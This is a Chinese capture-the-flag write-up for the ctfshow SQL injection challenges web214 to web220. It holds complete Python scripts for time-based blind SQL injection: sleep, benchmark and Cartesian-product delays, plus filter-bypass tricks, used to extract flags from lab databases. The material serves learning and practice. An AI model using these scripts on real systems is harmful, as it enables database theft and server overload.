ctfshow-SQL注入(web214-web220)

这篇具有很好参考价值的文章主要介绍了ctfshow-SQL注入(web214-web220)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

时间盲注 (最贴合实际的注入)


web214

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试

什么都不存在 使用bp进行抓包看看有没有注入点

在原始页面刷新 抓包发现修改debug为1是返回结果是一个sql的查询语句 id可能存在注入点 

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试

发现存在时间注入

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试

使用web193脚本进行修改 

python盲注脚本

import requests
url = "http://63bf02d2-adaa-4048-aa71-54325ac0da02.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        # payload = "if(substr(database(),{},1)='{}',sleep(1),2)".format(i,x)
        # print(payload) 用于检测问题的
        # 当前数据库 ctfshow_web
        # payload = "if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),sleep(1),2)".format(i, x)
        # 当前数据表 answer=ctfshow_flagx,ctfshow_info
        # payload = "if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagx'),{},1)='{}'),sleep(1),2)".format(i, x)
        # 当前字段名 id,flaga,info
        payload = "if((substr((select flaga from ctfshow_flagx),{},1)='{}'),sleep(1),2)".format(i, x)
        # 获取flag 

        print(payload) #用于检测问题的
        data = {
             "ip":payload,
             "debug":1,
         }
        if x == " ":
            a = 1
            break
        try:
            res = requests.post(url = url,data =data,timeout=0.5)
        except:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

代码解释

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试

得出flag

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试


web215

加大一点满肚 使用单引号 以及屏蔽了部分内容 

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试

思路就是 使用bp抓包 然后 使用简单的if语句 判断 盲注语句格式

需改debug 确实 提示确实使用了单引号

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试

测试

需要注意两点 都是我遇见的问题

第一点 if不要在引号内 

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试

第二点 不要使用and 使用or 因为and第一个如果是假的 and后的if不执行

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试

正确方式 发生延时

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试

就该web214脚本即可

import requests
url = "http://d13c1b01-08bf-4f64-98a9-3c571f7e6f59.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        # payload = "' or if(substr(database(),{},1)='{}',sleep(1),2) #".format(i,x)
        # 当前数据库 ctfshow_web
        # payload = "' or if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),sleep(1),2)#".format(i, x)
        # 当前数据表 answer=ctfshow_flagxc,ctfshow_info
        # payload = "' or if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'),{},1)='{}'),sleep(1),2)#".format(i, x)
        # 当前字段名 id,flagaa,info
        payload = "' or if((substr((select flagaa from ctfshow_flagxc),{},1)='{}'),sleep(1),2)#".format(i, x)
        # 获取flag

        # print(payload) #用于检测问题的
        data = {
             "ip":payload,
             "debug":1,
         }
        if x == " ":
            a = 1
            break
        try:
            res = requests.post(url = url,data =data,timeout=0.5)
        except:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

得出flag

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试


web216

对传入的值进行base64解码

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试

在脚本中加上base64编码即可

没有了单引号

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试

使用python中的 base64编码发现不行(说实话 没明白为什么不能成功)

import requests
import base64
url = "http://ad4c6815-733f-4b02-bf50-3df24be2d579.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        #payload = "if(substr(database(),{},1)='{}',sleep(1),2)".format(i,x)
        payload = 'if(substr(database(),{},1)="{}",sleep(1),2)'.format(i, x)
        # 当前数据库 ctfshow_web
        # payload = "if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),sleep(1),2)".format(i, x)
        # 当前数据表 answer=ctfshow_flagxc,ctfshow_info
        # payload = "if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'),{},1)='{}'),sleep(1),2)".format(i, x)
        # 当前字段名 id,flagaa,info
        # payload = "if((substr((select flagaa from ctfshow_flagxc),{},1)='{}'),sleep(1),2)".format(i, x)
        # 获取flag
        # print(payload) #用于检测问题的
        payload = base64.b64encode(payload.encode())
        payload=payload.decode()
        print(payload)
        data = {
             "ip":payload,
             "debug":1,
         }
        if x == " ":
            a = 1
            break
        try:
            res = requests.post(url = url,data =data,timeout=0.5)
        except:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

那就使用mysql中to_base64从而与from_base64对应 成功

import requests
import base64
url = "http://ad4c6815-733f-4b02-bf50-3df24be2d579.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        # payload = 'to_base64(if(substr(database(),{},1)="{}",sleep(1),2))'.format(i, x)
        # 当前数据库 ctfshow_web
        payload = "to_base64(if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),sleep(1),2))".format(i, x)
        # 当前数据表 answer=ctfshow_flagxc,ctfshow_info
        # payload = "to_base64(if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'),{},1)='{}'),sleep(1),2))".format(i, x)
        # 当前字段名 id,flagaa,info
        # payload = "to_base64(if((substr((select flagaa from ctfshow_flagxc),{},1)='{}'),sleep(1),2))".format(i, x)
        # 获取flag
        # print(payload) #用于检测问题的
        print(payload)
        data = {
             "ip":payload,
             "debug":1,
         }
        if x == " ":
            a = 1
            break
        try:
            res = requests.post(url = url,data =data,timeout=0.5)
        except:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

得到flag

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试

还有一种方法 群主的方法 先用abc的base编码 之后再用or

这也是我不理解的地方 为什么我用pythonbase64编码就不可以成功

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试


web217

哇塞 禁用了sleep 并且使用了括号将id括起来

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试

那就使用benchmark 进行大量运算 来消耗时间

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试

用bp先看看服务器的性能 看看该函数在服务器需要运算多少次 才能达到我们想要的效果

运算十万次差不多0.5s

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试

我滴妈 运算弄多了 直接把服务器干崩了 需要等好久 为什么会崩 让服务器运算1亿次能不崩嘛

最终发现

benchmark(700000,md5(1)) timeout为0.5 是最好的效果

脚本

import requests
import base64
url = "http://35cbdf47-d435-4b65-bf15-a34a0cd4b132.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        # payload = "if(substr(database(),{},1)='{}',benchmark(700000,md5(1)),2))#".format(i, x)
        # 当前数据库 ctfshow_web
        # payload = "to_base64(if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),benchmark(700000,md5(1)),2))".format(i, x)
        # 当前数据表 answer=ctfshow_flagxccb,ctfshow_info
        # payload = "to_base64(if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxccb'),{},1)='{}'),benchmark(700000,md5(1)),2))".format(i, x)
        # 当前字段名 answer=id,flagaabc,info
        payload = "if((substr((select flagaabc from ctfshow_flagxccb),{},1)='{}'),benchmark(700000,md5(1)),2)".format(i, x)
        # 获取flag
        # print(payload) #用于检测问题的
        data = {
             "ip":payload,
             "debug":1,
         }
        if x == " ":
            a = 1
            break
        try:
            res = requests.post(url = url,data =data,timeout=0.5)
        except:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

得出flag

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试


web218 

运算函数也被过滤了

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试

还有一种方法 使用查询语句 查询大量数据从而消耗时间

本地先演示一次 users一共六条数据 最终会有36条数据 6*6=36  form后 如果是逗号 会进行排列组合 如果表足够大那么查询的数据也就相当大(原理不用理解 记住这么用能查询大量数据即可)该方式叫笛卡尔积

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试

这个时候就能用上information的数据库了 里面肯定有大量数据特别是column的表

 这个api后面要加上一个/ 这是一位不同服务器有不同的html设置

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试

编写poc 

ip=1) and if(2>1,
(select count(*) from(
(select table_name from information_schema.columns)a,
(select table_name from information_schema.columns)b,
(select table_name from information_schema.columns limit 1,7)c)
),2&debug=1

弄了一个小时 本地无法进行测试 不知道为什么 都好万亿条数据了 结果还是0.3s

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试

延迟3.35s 是我们需要的结果 3.35经过测试 还是用以把服务器搞崩 把7修改为2 1.25s 差不多

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试

用上一题的脚本 替换计算函数

import requests
import base64
url = "http://36718ac4-d06a-45f9-9da1-9e2f77643c26.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        # payload = "1) and if(substr(database(),{},1)='{}',(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, x)
        # 当前数据库 ctfshow_web
        # payload = "1) and if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, x)
        # 当前数据表 answer=ctfshow_flagxc,ctfshow_info
        #
        # payload = "1) and if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'),{},1)='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, x)
        # 当前字段名 answer=id,flagaac,info
        payload = "1) and if((substr((select flagaac from ctfshow_flagxc),{},1)='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, x)
        # 获取flag
        # print(payload) #用于检测问题的
        data = {
             "ip":payload,
             "debug":1,
         }
        if x == " ":
            a = 1
            break
        try:
            res = requests.post(url = url,data =data,timeout=0.5)
        except:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

得出flag

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试


web219

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试

多屏蔽了一个rlike(也是延时的一种方法) 感觉对我们没用 用上一题脚本跑一下

import requests
import base64
url = "http://2c481109-978c-47e9-8a25-24a279c2a151.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        # payload = "1) and if(substr(database(),{},1)='{}',(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, x)
        # 当前数据库 ctfshow_web
        # payload = "1) and if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, x)
        # 当前数据表 answer=cbfshow_flagxca,ctfshow_info
        # payload = "1) and if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxca'),{},1)='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,1)c)),2)#".format(i, x)
        # 当前字段名 answer=id,flagaabc,info
        payload = "1) and if((substr((select flagaabc from ctfshow_flagxca),{},1)='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, x)
        # 获取flag
        # print(payload) #用于检测问题的
        data = {
             "ip":payload,
             "debug":1,
         }
        if x == " ":
            a = 1
            break
        try:
            res = requests.post(url = url,data =data,timeout=0.5)
        except:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

得出flag

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试


web220

对我们有影响的过滤就是 过滤了substr 那就使用left即可 并且过滤了concat 导致我们group_concat 不 能使用 但是可以是用limit 逐行获取 这个concat大师傅没讲 视频直接就是获取flag的步骤 大家一定注意concat也被过滤了 自己做完这题 感觉我好强 哈哈 虽然比较基础

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试

import requests
import base64
url = "http://0e9bfbbf-7b8c-4909-bb48-60be102d9870.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        #payload = "1) and if(left(database(),{})='{}',(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, flag+x)
        # 当前数据库 ctfshow_web
        # payload = "1) and if((left((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0,1),{})='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, flag+x)
        # 当前数据表 answer=ctfshow_flagxcac
        # payload = "1) and if((left((select column_name from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac' limit 1,1),{})='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,1)c)),2)#".format(i, flag+x)
        # 当前字段名 answer=flagaabcc
        payload = "1) and if((left((select flagaabcc from ctfshow_flagxcac),{})='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, flag+x)
        # 获取flag
        #print(payload) #用于检测问题的
        data = {
             "ip":payload,
             "debug":1,
         }
        if x == " ":
            a = 1
            break
        try:
            res = requests.post(url = url,data =data,timeout=0.5)
        except:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

获取表明

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试

得出flag

ctfshow-SQL注入(web214-web220),CTFSHOW,ctfshow(sql注入),SQL注入,web安全,安全,网络安全,sql注入,渗透测试文章来源地址https://www.toymoban.com/news/detail-818280.html

到了这里,关于ctfshow-SQL注入(web214-web220)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【WEB安全】SQL注入挖掘

    2021年OWASP发布漏洞威胁榜单,SQL注入从第一名下降到第三(https://owasp.org/Top10/),SQL注入是一种常见的Web攻击技术,通过构造恶意的SQL语句来破坏数据库安全。攻击者可以通过提交带有恶意代码的输入,例如网页表单,来控制数据库执行恶意语句。这样,攻击者可以访问敏感

    2024年02月13日
    浏览(41)
  • 《Web安全基础》03. SQL 注入

    本系列侧重方法论,各工具只是实现目标的载体。 命令与工具只做简单介绍,其使用另见《安全工具录》。 靶场使用 SQLi-Labs。详情参见《WriteUp:SQLi-Labs》 SQL 注入非常复杂,区分各种数据库类型,提交方法,数据类型等注入。此类漏洞是 WEB 安全中严重的漏洞,学习如何利

    2024年02月14日
    浏览(33)
  • Web安全-初识SQL注入(一)

    将不受信任的数据作为命令或查询的一部分发送到解析器时,会产生诸如SQL注入、NoSQL注入、OS 注入和LDAP注入的注入缺陷。攻击者的恶意数据可以诱使解析器在没有适当授权的情况下执行非预期命令或访问数据。 注入能导致数据丢失、 破坏或泄露给无授权方,缺乏可审计性

    2024年02月05日
    浏览(48)
  • Web安全:SQL注入漏洞测试.

    SQL注入就是 有些 恶意用户在提交查询请求的过程中 将SQL语句插入到请求内容 中,同时程序的本身对用户输入的内容过于相信, 没有对用户插入的SQL语句进行任何的过滤 ,从而 直接被SQL语句直接被服务端执行 ,导致数据库的原有信息泄露,篡改,甚至被删除等风险。 SQL注

    2024年02月05日
    浏览(56)
  • SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369)

    由于request被过滤,我们就不能再使用传参的方式进行传递命令以及被过滤的,下划线中括号花括号都被过滤,这样的话我们就只能使用{%%}来进行设置变量以及拼接方法的方式来进行利用SSTI漏洞。 本章内容,咱们就先研究怎么做出ctfshow web入门369这道题目,然后再讲解

    2024年02月08日
    浏览(41)
  • Web安全之SQL注入绕过技巧

    两个空格代替一个空格,用Tab代替空格,%a0=空格:   最基本的绕过方法,用注释替换空格: 使用浮点数: 如果空格被过滤,括号没有被过滤,可以用括号绕过。 在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两

    2024年02月07日
    浏览(44)
  • Web安全-SQL注入常用函数(二)

    ★★实战前置声明★★ 文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。 初始化安装MySQL数据库后(基于MySQL版本5.7.x),默认会创建4个系统数据库: 以下内

    2024年01月19日
    浏览(54)
  • SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号、数字被过滤绕过(ctfshow web入门370)

    由于request被过滤,我们就不能再使用传参的方式进行传递命令以及被过滤的,下划线中括号花括号都被过滤,这样的话我们就只能使用{%%}来进行设置变量以及拼接方法的方式来进行利用SSTI漏洞。 但是ctfshow web入门370关相对于ctfshow web入门369关多过滤数字,就是我们不

    2024年02月04日
    浏览(38)
  • web安全漏洞-SQL注入攻击实验

    实验目的 学习sql显注的漏洞判断原理 掌握sqlmap工具的使用 分析SQL注入漏洞的成因 实验工具 sqlmap是用python写的开源的测试框架,支持MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP,MAXDB并支持6种SQL注入手段。 实验内容 SQL注入(SQL I

    2024年02月06日
    浏览(56)
  • 加强Web应用程序安全:防止SQL注入

    数据库在Web应用程序中存储和组织数据时起着至关重要的作用,它是存储用户信息、内容和其他应用程序数据的中央存储库。而数据库实现了高效的数据检索、操作和管理,使Web应用程序能够向用户提供动态和个性化的内容。然而,数据库和网络应用程序之间的通信不畅可能

    2024年02月14日
    浏览(44)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包